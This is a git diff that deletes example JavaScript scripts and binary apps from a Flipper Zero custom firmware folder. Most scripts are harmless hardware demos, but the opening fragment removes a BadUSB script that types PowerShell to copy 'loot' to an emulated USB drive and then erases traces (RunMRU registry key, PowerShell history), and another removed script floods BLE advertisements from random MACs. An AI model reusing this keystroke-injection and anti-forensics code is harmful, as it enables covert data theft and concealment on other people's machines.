- badusb.print(" $mediaPlayer.Play();"); -} - -// Move file onto SD card -if (script.length > 0) { - badusb.print(" $LocalFile = '" + localFileName + "';"); - badusb.print(" New-Item -ItemType Directory -Force -Path ${DriveLetter}:\\" + resultFolder + "\\;"); - badusb.print(" Move-Item -Path $LocalFile -Destination ${DriveLetter}:\\" + resultFolder + "\\" + resultFileName + ";"); - badusb.print(" Start-Sleep 1;"); -} - -// Eject drive -badusb.print(" $eject = New-Object -comObject Shell.Application;"); -badusb.print(" $eject.Namespace(17).ParseName($DriveLetter+':').InvokeVerb('Eject');"); - -// Hide tracks -badusb.print(" cd ..;"); -badusb.print(" Remove-Item " + localTempFolder + " -Force -Recurse;"); -badusb.print(" reg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /va /f;"); -badusb.print(" Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue;"); -badusb.press("ENTER"); -delay(500); - -// Close window & detach keyboard -badusb.press("ENTER"); -badusb.print(" Start-Sleep 10; exit"); -badusb.press("ENTER"); -badusb.quit(); - -// Wait for badusb to finish typing. -print("Waiting for typing to finish..."); -delay(5 * 1000); - -// Attach storage -print("Attaching storage..."); -usbdisk.start(image); - -// Wait for storage to be detached from script -print("Waiting for storage to detatch..."); -while (!usbdisk.wasEjected()) { - delay(1000); -} -usbdisk.stop(); - -// Done -print("Detached disk."); -delay(1000); - -// Mount and display loot -if (script.length > 0) { - print("Reading loot..."); - storage.virtualInit(image); - storage.virtualMount(); - delay(1000); - let data = storage.read("/mnt/" + resultFolder + "/" + resultFileName); - textbox.setConfig("start", "text"); - textbox.clearText(); - let data_view = Uint8Array(data); - for (let i = 0; i < data_view.length; i++) { - textbox.addText(chr(data_view[i])); - } - data_view = undefined; - textbox.addText("\n"); - textbox.show(); - print("Copying to loot file."); - storage.append(lootFile, data); - print("Displaying results."); - while (textbox.isOpen()) { - delay(1000); - } - textbox.clearText(); - storage.virtualQuit(); -} - -print("Done."); \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/blebeacon.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/blebeacon.js deleted file mode 100644 index 53983a745..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/blebeacon.js +++ /dev/null @@ -1,59 +0,0 @@ -let blebeacon = require("blebeacon"); - -// Stop if previous background beacon is active -if (blebeacon.isActive()) { - blebeacon.stop(); -} - -// Make sure it resets at script exit, true will keep advertising in background -// This is false by default, can be omitted -blebeacon.keepAlive(false); - - -let math = require("math"); - -let currentIndex = 0; -let watchValues = [ - 0x1A, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, - 0x09, 0x0A, 0x0B, 0x0C, 0x11, 0x12, 0x13, 0x14, 0x15, - 0x16, 0x17, 0x18, 0xE4, 0xE5, 0x1B, 0x1C, 0x1D, 0x1E, - 0x20, 0xEC, 0xEF -]; - -function generateRandomMac() { - let mac = []; - for (let i = 0; i < 6; i++) { - mac.push(math.floor(math.random() * 256)); - } - return Uint8Array(mac); -} - -function sendRandomModelAdvertisement() { - let model = watchValues[currentIndex]; - - let packet = [ - 14, 0xFF, 0x75, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x01, 0xFF, 0x00, 0x00, 0x43, - model - ]; - - let intervalMs = 50; - - // Power level, min interval and max interval are optional - blebeacon.setConfig(generateRandomMac(), 0x1F, intervalMs, intervalMs * 3); - - blebeacon.setData(Uint8Array(packet)); - - blebeacon.start(); - - print("Sent data for model ID " + to_string(model)); - - currentIndex = (currentIndex + 1) % watchValues.length; - - delay(intervalMs); - - blebeacon.stop(); -} - -while (true) { - sendRandomModelAdvertisement(); -} \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/console.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/console.js deleted file mode 100644 index 06d394c53..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/console.js +++ /dev/null @@ -1,5 +0,0 @@ -print("print", 1); -console.log("log", 2); -console.warn("warn", 3); -console.error("error", 4); -console.debug("debug", 5); diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/dac.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/dac.js deleted file mode 100644 index c63877f8e..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/dac.js +++ /dev/null @@ -1,36 +0,0 @@ -let gpio = require("gpio"); -let pins = ["PA7", "PA6", "PA4", "PB3", "PB2", "PC3"]; -for (let i=0; i 0) { - print("!!!", failed, "Unit tests failed !!!"); -} \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/notify.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/notify.js deleted file mode 100644 index 20f60c732..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/notify.js +++ /dev/null @@ -1,9 +0,0 @@ -let notify = require("notification"); -notify.error(); -delay(1000); -notify.success(); -delay(1000); -for (let i = 0; i < 10; i++) { - notify.blink("red", "short"); - delay(500); -} \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/path.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/path.js deleted file mode 100644 index 0381150d2..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/path.js +++ /dev/null @@ -1,9 +0,0 @@ -let storage = require("storage"); - -print("script has __dirpath of" + __dirpath); -print("script has __filepath of" + __filepath); -if (storage.exists(__dirpath + "/math.js")) { - print("math.js exist here."); -} else { - print("math.js does not exist here."); -} \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/sk9822_leds.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/sk9822_leds.js deleted file mode 100644 index d0ad5f344..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/sk9822_leds.js +++ /dev/null @@ -1,62 +0,0 @@ -// SK9822 RGB LED strip example - -let gpio = require("gpio"); -gpio.init("PC3", "outputPushPull", "no"); // pin, mode, pull -print("PC3 is clock"); -gpio.init("PA7", "outputPushPull", "no"); // pin, mode, pull -print("PA7 is data"); - -function writeByte(data) { - for (let i = 0; i < 8; i++) { - let mask = 1 << (7 - i); - gpio.write("PA7", (data & mask) === mask); - gpio.write("PC3", true); - gpio.write("PC3", false); - } -} - -function writeStart() { - writeByte(0); - writeByte(0); - writeByte(0); - writeByte(0); -} - -function writeStop(b) { - writeByte(b); - writeByte(b); - writeByte(b); - writeByte(b); -} - -function writeColor(r, g, b, i) { - writeByte(0xE0 | (i & 31)); - writeByte(b); - writeByte(g); - writeByte(r); -} - - -// read value from PC1 and write it to PC3 -let maxIntensity = 31; -let intensity = 0; -while (true) { - writeStart(); - writeColor(255, 0, 0, intensity); - writeColor(0, 255, 0, intensity); - writeColor(0, 0, 255, intensity); - writeColor(255, 255, 255, intensity); - writeColor(255, 255, 0, intensity); - writeColor(255, 0, 255, intensity); - writeColor(0, 255, 255, intensity); - writeColor(1, 0, 0, intensity); - writeColor(4, 0, 0, intensity); - writeColor(16, 0, 0, intensity); - writeColor(64, 0, 0, intensity); - writeStop(0); - delay(20); - intensity++; - if (intensity > maxIntensity) { - intensity = 1; - } -} diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_api.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_api.js deleted file mode 100644 index bca6c4c96..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_api.js +++ /dev/null @@ -1,40 +0,0 @@ -// By jamisonderek -// For documentation on this API's use, see: -// https://github.com/jamisonderek/flipper-zero-tutorials/blob/main/js/ -({ - _acquired: false, - _acquire: ffi("int furi_hal_speaker_acquire(int)"), - _release: ffi("void furi_hal_speaker_release(void)"), - start: ffi("void furi_hal_speaker_start(float, float)"), - stop: ffi("void furi_hal_speaker_stop(void)"), - acquire: function (timeout) { - if (!this._acquired) { - this._acquired = this._acquire(timeout); - } - return this._acquired; - }, - acquired: function () { - return this._acquired; - }, - release: function () { - if (this._acquired) { - this._release(); - this._acquired = false; - } - }, - play: function (frequency, volume, duration) { - let already_acquired = this.acquired(); - if (!already_acquired) { - this.acquire(1000); - }; - if (this.acquired()) { - this.start(frequency, volume); - delay(duration); - this.stop(); - } - if (!already_acquired) { - this.release(); - } - }, -} -) \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_jamisonderek.README.md b/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_jamisonderek.README.md deleted file mode 100644 index ddd9b6d82..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_jamisonderek.README.md +++ /dev/null @@ -1,14 +0,0 @@ -# Speaker - -A JavaScript that plays tones using the `ffi` commands. The advantage of the `ffi` commands is that they can run on firmware without requiring a particular module `.fal` file to exist on the Flipper. Thanks to [Freehuntx](https://github.com/Freehuntx) for the various examples of using `ffi`. - -## How to use -Copy the `speaker.js` file and `speaker_api.js` file to your Flipper Zero, typically the `SD Card/app/Scrips` folder. You can then run the script (on your Flipper press `OK` then choose `Apps`, `Scripts`, `speaker.js`). - -NOTE: The script uses the `__dirpath` variable to locate the `speaker_api.js` file. Some frameworks don't support this variable yet, so you may need to adjust the path to the `speaker_api.js` file. For example change the first line of speaker.js to the following: -```js -let Speaker = load("/ext/apps/Scripts/speaker_api.js"); -``` - -For an `ffi` version of script that obtains the same data as `__dirpath` see [this Discord post]( -https://discord.com/channels/1211622338198765599/1220056596638597327) by @Freehuntx. \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_jamisonderek.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_jamisonderek.js deleted file mode 100644 index 3ba2f25e1..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/speaker_jamisonderek.js +++ /dev/null @@ -1,4 +0,0 @@ -let Speaker = load(__dirpath + "/speaker_api.js"); - -Speaker.play(440, 1.0, 500); -Speaker.play(880, 1.0, 500); diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/storage.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/storage.js deleted file mode 100644 index fd2ba4a4f..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/storage.js +++ /dev/null @@ -1,46 +0,0 @@ -let storage = require("storage"); -let path = "/ext/storage.test"; - -function arraybuf_to_string(arraybuf) { - let string = ""; - let data_view = Uint8Array(arraybuf); - for (let i = 0; i < data_view.length; i++) { - string += chr(data_view[i]); - } - return string; -} - -print("File exists:", storage.exists(path)); - -print("Writing..."); -// write(path, data, offset) -// If offset is specified, the file is not cleared, content is kept and data is written at specified offset -// Takes both strings and array buffers -storage.write(path, "Hello "); - -print("File exists:", storage.exists(path)); - -// Append will create the file even if it doesnt exist! -// Takes both strings and array buffers -storage.append(path, "World!"); - -print("Reading..."); -// read(path, size, offset) -// If no size specified, total filesize is used -// If offset is specified, size is capped at (filesize - offset) -let data = storage.read(path); -// read returns an array buffer, to allow proper usage of raw binary data -print(arraybuf_to_string(data)); - -print("Removing...") -storage.remove(path); - -print("Done") - -// There's also: -// storage.copy(old_path, new_path); -// storage.move(old_path, new_path); -// storage.mkdir(path); -// storage.virtualInit(path); -// storage.virtualMount(); -// storage.virtualQuit(); \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/stringutils.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/stringutils.js deleted file mode 100644 index 51781328d..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/stringutils.js +++ /dev/null @@ -1,19 +0,0 @@ -let sampleText = "Hello, World!"; - -let lengthOfText = "Length of text: " + to_string(sampleText.length); -print(lengthOfText); - -let start = 7; -let end = 12; -let substringResult = sampleText.slice(start, end); -print(substringResult); - -let searchStr = "World"; -let result2 = to_string(sampleText.indexOf(searchStr)); -print(result2); - -let upperCaseText = "Text in upper case: " + to_upper_case(sampleText); -print(upperCaseText); - -let lowerCaseText = "Text in lower case: " + to_lower_case(sampleText); -print(lowerCaseText); diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/subghz.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/subghz.js deleted file mode 100644 index b5e54bac6..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/subghz.js +++ /dev/null @@ -1,45 +0,0 @@ -let subghz = require("subghz"); -subghz.setup(); - -function printRXline() { - if (subghz.getState() !== "RX") { - subghz.setRx(); // to RX - } - - let rssi = subghz.getRssi(); - let freq = subghz.getFrequency(); - let ext = subghz.isExternal(); - - print("rssi: ", rssi, "dBm", "@", freq, "MHz", "ext: ", ext); -} - -function changeFrequency(freq) { - if (subghz.getState() !== "IDLE") { - subghz.setIdle(); // need to be idle to change frequency - } - subghz.setFrequency(freq); -} - -subghz.setIdle(); -print(subghz.getState()); // "IDLE" -subghz.setRx(); -print(subghz.getState()); // "RX" - -changeFrequency(433920000); -printRXline(); -delay(1000); - -print("Sending 0.sub") -subghz.transmitFile("/ext/subghz/0.sub"); -// Can also specify repeat count: subghz.transmitFile(path, repeat) -// If not provided, defaults to 1 repeat for RAW and 10 repeats for parsed -// These 10 repeats by default are to simulate holding the button on remote -print("Send success"); -delay(1000); - -changeFrequency(315000000); -printRXline(); - -// Optional, done automatically at script end -subghz.end() -// But can be used to setup again, which will retry to detect external modules \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/submenu.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/submenu.js deleted file mode 100644 index 245551309..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/submenu.js +++ /dev/null @@ -1,11 +0,0 @@ -let submenu = require("submenu"); - -submenu.addItem("Item 1", 0); -submenu.addItem("Item 2", 1); -submenu.addItem("Item 3", 2); - -submenu.setHeader("Select an option:"); - -let result = submenu.show(); -// Returns undefined when pressing back -print("Result:", result); diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/textbox.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/textbox.js deleted file mode 100644 index 6caf37234..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/textbox.js +++ /dev/null @@ -1,30 +0,0 @@ -let textbox = require("textbox"); - -// You should set config before adding text -// Focus (start / end), Font (text / hex) -textbox.setConfig("end", "text"); - -// Can make sure it's cleared before showing, in case of reusing in same script -// (Closing textbox already clears the text, but maybe you added more in a loop for example) -textbox.clearText(); - -// Add default text -textbox.addText("Example dynamic updating textbox\n"); - -// Non-blocking, can keep updating text after, can close in JS or in GUI -textbox.show(); - -let i = 0; -while (textbox.isOpen() && i < 20) { - print("console", i++); - - // Add text to textbox buffer - textbox.addText("textbox " + to_string(i) + "\n"); - - delay(500); -} - -// If not closed by user (instead i < 20 is false above), close forcefully -if (textbox.isOpen()) { - textbox.close(); -} diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_jamisonderek.README.md b/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_jamisonderek.README.md deleted file mode 100644 index ea1ed54cb..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_jamisonderek.README.md +++ /dev/null @@ -1,35 +0,0 @@ -# vgm_sensor tutorial - -This is an example of extending JavaScript for the Flipper Zero. The files were used in the [YouTube video](https://youtu.be/EtOZN3Rh47c) which demonstrates the process in detail. - -Our [a_demo.js](./a_demo.js) script will play a tone using the speaker module. It will then display sensor information from the video game module. - -The [tone_rotate.js](./tone_rotate.js) script will play a tone using the speaker module. As you rotate the Flipper (change the yaw reading) the frequency of the tone will increase or decrese. - -Copy the [a_demo.js](./a_demo.js) and [tone_rotate.js](./tone_rotate.js) files to your `SD Card/apps/Scripts` directory. You can then run the scripts from the Flipper Zero (`Apps`, `Scripts`, `a_demo.js`). - -## Prebuilt apps -You can copy one of the FAL files from [prebuilt](./prebuilt/) onto `SD Card/apps_data/js_app/plugins/js_vgm.fal` and then you will be able to do `let vgm = require("vgm");`. The prebuilt files exposes the 4 APIs (getPitch, getRoll, getYaw, deltaYaw) from the video and they also expose a (`play(440,1.0,250);`) command -- since I wanted to see what would happen if I used furi_hal_speaker APIs in my module code. If you use the wrong one for your firmware, you will get `"vgm" module load fail`. You can also copy [tone_rotate_native.js](./prebuilt/tone_rotate_native.js) to the `SD Card/apps/Scripts/tone_rotate_native.js`. Running the script (`Apps`, `Scripts`, `tone_rotate_native`) should play tones as you rotate your Flipper with the VGM attached. - -## Installing the JS speaker_api module -We wrote the speaker_api module in JavaScript (using furi_hal_xxx APIs to expose a new speaker module). This file [speaker_api.js](./speaker_api.js) should be copied to your `SD Card/apps/Scripts` directory. Once copied, your scripts can do a `let speaker = load(__dirpath + "/speaker_api.js");` and then `speaker.playTone(440, 1.0, 500);` to play a 440Hz tone, at full volume for 500ms. This file is a good example of how to use FFI to extend the Flipper Zero. If your APIs are part of the firmware, and don't use enumeration values, this is a good technqiue to use. (If they use enumeration values, it's possible that the values will change in the future, and your script will reference the improper id values.) - -## Installing the C (js_vgm) module -To expose the sensor APIs to JavaScript we used a second technique of creating a module in C and compiling it into the firmware. This is a more robust technique, but requires more work for everyone that want to use the module. If you are using enumeration values, they get resolved at compile time so they will always be correct. You are able to include additional files in your C module, so you can access APIs that aren't part of the firmware (for example, accessing the sensors in the video game module). The downside is that you have to write C code, and everyone that wants to run your script needs to have their firmware compiled with your module. - -To add the native C module to your firmware: -- Follow the steps in [Clone & Deploy firmware](https://github.com/jamisonderek/flipper-zero-tutorials/wiki/Install-Firmware-and-Apps#clone--deploy-firmware) instructions. -- Copy the [js_vgm](./js_vgm) folder to your firmware's `applications/system/js_app/modules/js_vgm` directory on your computer. -- Update your application.fam for js_app, adding an entry in your firmware's `applications/system/js_app/application.fam` file to include the js_vgm module at the bottom of the file. It should look like the following: -```c -App( - appid="js_vgm", - apptype=FlipperAppType.PLUGIN, - entry_point="js_vgm_ep", - requires=["js_app"], - sources=["modules/js_vgm/*.c", "modules/js_vgm/ICM42688P/*.c"], -) -``` -- Recompile your firmware and deploy it to your Flipper Zero. (e.g. Run step 7 again in the *Clone & Deploy firmware* instructions.) - -NOTE: If you create a useful module, you should try to make a pull-request to the firmware, so that other people can use your module without having to recompile the firmware. \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_jamisonderek.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_jamisonderek.js deleted file mode 100644 index 6027098df..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_jamisonderek.js +++ /dev/null @@ -1,38 +0,0 @@ -let vgm = require("vgm"); -let __dirpath = "/ext/apps/Scripts"; -let speaker = load(__dirpath + "/speaker_api.js"); - -let min_delta_angle = 29.98; -let max_wait_ms = 10000; -let freq_hz = 440; - -//Uncomment below to test for various test cases... -//print(vgm.deltaYaw("30.312", 1000)); // Invalid arg (angle). -//print(vgm.deltaYaw()); // Invalid args. Pass (angle, [timeout]). Got 0 args. -//print(vgm.deltaYaw(1,2,3)); // Invalid args. Pass (angle, [timeout]). Got 3 args. -//print(vgm.deltaYaw(29.98, 1000)); // This should work fine. - -// Show the pitch, roll, and yaw values for 5 seconds -for (let i = 0; i < 5; i++) { - print("P", vgm.getPitch(), "R", vgm.getRoll(), "Y", vgm.getYaw()); - delay(1000); -} - -// Play a sound that changes pitch based on yaw -for (let i = 0; i < 500; i++) { - print("Freq", freq_hz, "Hz"); - speaker.play(freq_hz, 1.0, 250); - - let delta = vgm.deltaYaw(min_delta_angle, max_wait_ms); - if (delta === undefined) { - print("No VGM detected. Exiting..."); - break; - } - delta /= (min_delta_angle / 1.02); - - if (delta > 0) { - freq_hz *= delta; - } else if (delta < 0) { - freq_hz /= -delta; - } -} diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_native_jamisonderek.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_native_jamisonderek.js deleted file mode 100644 index 9458a6069..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_native_jamisonderek.js +++ /dev/null @@ -1,40 +0,0 @@ -let vgm = require("vgm"); -//The pre-built vgm exposes a .play function, so we don't need the speaker_api.js file. -//let __dirpath = "/ext/apps/Scripts"; -//let speaker = load(__dirpath + "/speaker_api.js"); - -let min_delta_angle = 29.98; -let max_wait_ms = 10000; -let freq_hz = 440; - -//Uncomment below to test for various test cases... -//print(vgm.deltaYaw("30.312", 1000)); // Invalid arg (angle). -//print(vgm.deltaYaw()); // Invalid args. Pass (angle, [timeout]). Got 0 args. -//print(vgm.deltaYaw(1,2,3)); // Invalid args. Pass (angle, [timeout]). Got 3 args. -//print(vgm.deltaYaw(29.98, 1000)); // This should work fine. - -// Show the pitch, roll, and yaw values for 5 seconds -for (let i = 0; i < 3; i++) { - print("P", vgm.getPitch(), "R", vgm.getRoll(), "Y", vgm.getYaw()); - delay(1000); -} - -// Play a sound that changes pitch based on yaw -for (let i = 0; i < 500; i++) { - print("Freq", freq_hz, "Hz"); - // speaker.play(freq_hz, 1.0, 250); - vgm.play(freq_hz, 1.0, 250); - - let delta = vgm.deltaYaw(min_delta_angle, max_wait_ms); - if (delta === undefined) { - print("No VGM detected. Exiting..."); - break; - } - delta /= (min_delta_angle / 1.02); - - if (delta > 0) { - freq_hz *= delta; - } else if (delta < 0) { - freq_hz /= -delta; - } -} diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/uart_echo.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/uart_echo.js deleted file mode 100644 index 1cc0d8e62..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/uart_echo.js +++ /dev/null @@ -1,14 +0,0 @@ -let serial = require("serial"); -serial.setup("usart", 230400); - -while (1) { - let rx_data = serial.readBytes(1, 0); - if (rx_data !== undefined) { - serial.write(rx_data); - let data_view = Uint8Array(rx_data); - print("0x" + to_hex_string(data_view[0])); - } -} - -// There's also serial.end(), so you can serial.setup() again in same script -// You can also use serial.readAny(timeout), will avoid starving your loop with single byte reads diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/usbdisk.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/usbdisk.js deleted file mode 100644 index df9b1ab3e..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/usbdisk.js +++ /dev/null @@ -1,13 +0,0 @@ -let usbdisk = require("usbdisk"); -let image = "/ext/apps_assets/mass_storage/test.img"; -// print("Creating image..."); -// usbdisk.createImage("/ext/apps_data/mass_storage/128MB.img", 128 * 1024 * 1024); -print("Starting UsbDisk..."); -usbdisk.start(image); -print("Started, waiting until ejected..."); -while (!usbdisk.wasEjected()) { - delay(1000); -} -print("Ejected, stopping UsbDisk..."); -usbdisk.stop(); -print("Done"); \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/widget-js.fxbm b/Applications/Custom (UL, RM)/RogueMaster/Scripts/widget-js.fxbm deleted file mode 100644 index 9ba5783ce..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Scripts/widget-js.fxbm and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/widget.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/widget.js deleted file mode 100644 index 4ff11e441..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/widget.js +++ /dev/null @@ -1,59 +0,0 @@ -let widget = require("widget"); - -let demo_seconds = 30; - -print("Loading file", __filepath); -print("From directory", __dirpath); - -// addText supports "Primary" and "Secondary" font sizes. -widget.addText(10, 10, "Primary", "Example JS widget"); -widget.addText(10, 20, "Secondary", "Example widget from JS!"); - -// load a Xbm file from the same directory as this script. -widget.addText(0, 30, "Secondary", __filepath); -let logo = widget.loadImageXbm(__dirpath + "/widget-js.fxbm"); - -// add a line (x1, y1, x2, y2) -widget.addLine(10, 35, 120, 35); - -// add a circle/disc (x, y, radius) -widget.addCircle(12, 52, 10); -widget.addDisc(12, 52, 5); - -// add a frame/box (x, y, width, height) -widget.addFrame(30, 45, 10, 10); -widget.addBox(32, 47, 6, 6); - -// add a rounded frame/box (x, y, width, height, radius) -widget.addRframe(50, 45, 15, 15, 3); -widget.addRbox(53, 48, 6, 6, 2); - -// add a dot (x, y) -widget.addDot(100, 45); -widget.addDot(102, 44); -widget.addDot(104, 43); - -// add a glyph (x, y, glyph) -widget.addGlyph(115, 50, "#".charCodeAt(0)); - -// Show the widget (drawing the layers in the orderer they were added) -widget.show(); - -let i = 1; -let bitmap = undefined; -while (widget.isOpen() && i <= demo_seconds) { - // Print statements will only show up once the widget is closed. - print("count is at", i++); - - // You can call remove on any added item, it does not impact the other ids. - if (bitmap) { widget.remove(bitmap); bitmap = undefined; } - // All of the addXXX functions return an id that can be used to remove the item. - else { bitmap = widget.addXbm(77, 45, logo); } - - delay(1000); -} - -// If user did not press the back button, close the widget. -if (widget.isOpen()) { - widget.close(); -} \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/about.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/about.fap deleted file mode 100644 index c2469ff5a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/about.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/bt_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/bt_settings.fap deleted file mode 100644 index 064db5c70..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/bt_settings.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/cfw.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/cfw.fap deleted file mode 100644 index 715af885c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/cfw.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/desktop_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/desktop_settings.fap deleted file mode 100644 index dc6f733a5..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/desktop_settings.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/dolphin_trainer.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/dolphin_trainer.fap deleted file mode 100644 index d63e5ff52..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/dolphin_trainer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/expansion_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/expansion_settings.fap deleted file mode 100644 index 510457d54..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/expansion_settings.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/extendrange.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/extendrange.fap deleted file mode 100644 index 8d67c9cbd..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/extendrange.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/gauge_tool.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/gauge_tool.fap deleted file mode 100644 index 86cf1acdf..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/gauge_tool.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/namechanger.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/namechanger.fap deleted file mode 100644 index 63359c8f7..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/namechanger.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/notification_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/notification_settings.fap deleted file mode 100644 index d9d346ff6..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/notification_settings.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/passport.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/passport.fap deleted file mode 100644 index 71e98d93e..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/passport.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/power_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/power_settings.fap deleted file mode 100644 index b49206edd..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/power_settings.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/smack_my_dolphin_up.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/smack_my_dolphin_up.fap deleted file mode 100644 index 9b0f3d910..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/smack_my_dolphin_up.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/storage_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/storage_settings.fap deleted file mode 100644 index 77e02d4e5..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/storage_settings.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/system_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/system_settings.fap deleted file mode 100644 index 4998af0bc..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/system_settings.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/esubghz_chat.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/esubghz_chat.fap deleted file mode 100644 index 83f049624..000000000 Binary files 